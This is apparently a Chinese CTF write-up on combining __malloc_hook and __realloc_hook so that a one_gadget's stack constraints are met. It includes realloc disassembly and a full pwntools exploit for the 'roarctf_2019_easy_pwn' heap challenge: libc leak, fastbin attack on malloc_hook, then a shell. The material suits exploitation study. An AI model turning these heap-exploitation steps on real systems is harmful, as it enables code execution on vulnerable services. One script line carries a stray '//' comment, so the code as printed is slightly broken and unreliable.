通过 realloc_hook 调整栈帧使 onegadget 生效

前言

在某些堆的题目当中,由于限制只能使用 house of spirit 等方法劫持 malloc_hook ,这种情况一般是往 malloc_hook 写入 onegadget ,再次申请堆来 getshell 。

由于栈帧情况不满足,查询到的所有 onegadget 可能都打不通,这时就可以考虑下用 malloc_hook 和 realloc_hook 结合。先通过 realloc调整栈帧,然后在运行 onegadget 。

了解 realloc

realloc 在库函数中的作用是重新调整 malloc 或 calloc 所分配的堆大小。它和 malloc 函数一样有 hook 函数,当 hook 函数不为空时,就会跳转运行 hook 函数(和 malloc_hook 一样的),其中realloc_hook在malloc_hook - 0x08的位置。

看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000846C0 realloc         proc near               ; DATA XREF: LOAD:0000000000006BA0↑o
.text:00000000000846C0 ; __unwind {
.text:00000000000846C0 push r15 ; Alternative name is '__libc_realloc'
.text:00000000000846C2 push r14
.text:00000000000846C4 push r13
.text:00000000000846C6 push r12
.text:00000000000846C8 mov r13, rsi
.text:00000000000846CB push rbp
.text:00000000000846CC push rbx
.text:00000000000846CD mov rbx, rdi
.text:00000000000846D0 sub rsp, 38h
.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB mov rax, [rax]
.text:00000000000846DE test rax, rax
.text:00000000000846E1 jnz loc_848E8 ; 跳转执行 realloc_hook
.text:00000000000846E7 test rsi, rsi
.text:00000000000846EA jnz short loc_846F5
.text:00000000000846EC test rdi, rdi
.text:00000000000846EF jnz loc_84960

函数一开始有很多的 push ,realloc 函数先执行 push 压栈,然后在跳转执行 realloc_hook 存储的函数。我们就是利用这些 push 调整栈帧。push 的数量发生变化会影响 rsp 的地址,这样就可以控制 rsp 的取值,从而满足 onegadget 的执行条件。除了可以控制 push 数量,还能通过偏移得到其他的 push xxx

malloc_hook 与 realloc_hook 配合

将 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget ,实际运行顺序:

1
malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget

这样就能经过 realloc 调整栈帧后再运行 onegadget 。实际情况中,并不是直接劫持 malloc_hook 为 realloc ,而是要加上一定的偏移,也就是调整 push 的数量,让栈帧结构满足 onegadget 运行。

realloc 这个偏移做题还是逐个试感觉快一点,因为设想是少一个 push ,rsp 就会向前移动一个内存单元,对应的 [rsp+0x30]=[rsp+0x38] ,但实际上有少部分位置可能被其他东西写入改变了原来的值。自行调试体会一下:

原理上是:少一个 push ,rsp 就会向前移动一个内存单元,对应的 **[rsp+0x30]=[rsp+0x38]**,但实际部分位置的值会变,所以逐个试,速度可能比计算快。

例题

附件

前边就是正常的打hook

但是所以的onegadget都不能用,就要想到用malloc_hook 与 realloc_hook 配合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
from LibcSearcher import *
import sys
import re

filename = './roarctf_2019_easy_pwn'
url = 'node5.buuoj.cn:26271'

def extract_hostname_and_port(url):
match = re.match(r'([^:\s]+)[\s:](\d*)', url)
if match:
hostname = match.group(1)
port = match.group(2) if match.group(2) else None
return hostname, port
return None, None

hostname, port = extract_hostname_and_port(url)
debug_flag = False

if len(sys.argv) > 1:
if sys.argv[1] == 'remote':
p = remote(hostname, port)
elif sys.argv[1] == 'debug':
p = process(filename)
debug_flag = True
else:
print("Usage: python script.py [remote|debug]")
exit(1)
else:
p = process(filename)

def debug():
if debug_flag:
try:
gdbscript = '''
b * $rebase(0x0000000000000D6C)
b * $rebase(0x0000000000000F6D)
b * $rebase(0x000000000000108C)
b * $rebase(0x00000000000011D0)
'''
gdb.attach(p, gdbscript = gdbscript)
print("GDB attached successfully")
except Exception as e:
print(f"Failed to attach GDB: {e}")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '80']

elf = ELF(filename)
debug()

'''
Note system
1. create a note
2. write note
3. drop the note
4. show the note
5. exit
choice:
'''

def add(size) :
p.sendlineafter('choice: ' , b'1')
p.sendlineafter('size: ' , str(size))

def edit(idx , size , content) :
p.sendlineafter('choice: ' , b'2')
p.sendlineafter('index: ' , str(idx))
p.sendlineafter('size: ' , str(size))
p.sendlineafter('content: ' , content)

def free(idx) :
p.sendlineafter('choice: ' , b'3')
p.sendlineafter('index: ' , str(idx))

def show(idx) :
p.sendlineafter('choice: ' , b'4')
p.sendlineafter('index: ' , str(idx))

add(0x18) #0
add(0x18) #1
add(0x80) #2
add(0x18) #3
add(0x18) #4
add(0x60) #5
# add(0x10)
#----------------------泄露libc地址-----------------------------#
payload = p64(0) * 3 + p8(0x41)
edit(0 , len(payload) + 0x09 , payload)
payload = p64(0) * 3 + p64(0x71)
edit(2 , len(payload) , payload)
free(1) #1
add(0x38) #1
payload = p64(0) * 3 + p64(0x91)
edit(1 , len(payload) , payload)
free(2) #2
show(1)
p.recvuntil('content: ')
main_arena_88 = u64(p.recv(0x28)[-8:])
success(hex(main_arena_88))
malloc_hook = main_arena_88 - 88 - 0x10
libc = LibcSearcher('__malloc_hook' , malloc_hook)
base_addr = malloc_hook - libc.dump('__malloc_hook')

#----------------------fastbin-----------------------------#
fake_chunk = malloc_hook - 0x23
payload = p64(0) * 3 + p8(0x41)
edit(3 , len(payload) + 0x09 , payload)
payload = p64(0) * 3 + p64(0x51)
edit(5 , len(payload) ,payload)
free(4)
add(0x38) #2
payload = p64(0) * 3 + p64(0x71)
edit(2 , len(payload) , payload)
free(5)
payload = p64(0) * 3 + p64(0x71) + p64(fake_chunk)
edit(2 , len(payload) , payload)
add(0x60) #4
add(0x60) #5
success("malloc_hook : " + hex(malloc_hook))
success("fake_chunk : " + hex(fake_chunk))

realloc_hook = base_addr + libc.dump('realloc')
success(hex(realloc_hook))
one=[0x45216,0x4526a,0xf1147,0xf02a4]//第二个偏移0,第三个偏移4,第四个偏移13
one_gadget = base_addr + one[3]
payload = b'a' * 11 + p64(one_gadget) + p64(realloc_hook + 13)
edit(5 , len(payload) , payload)
add(0x60)
p.interactive()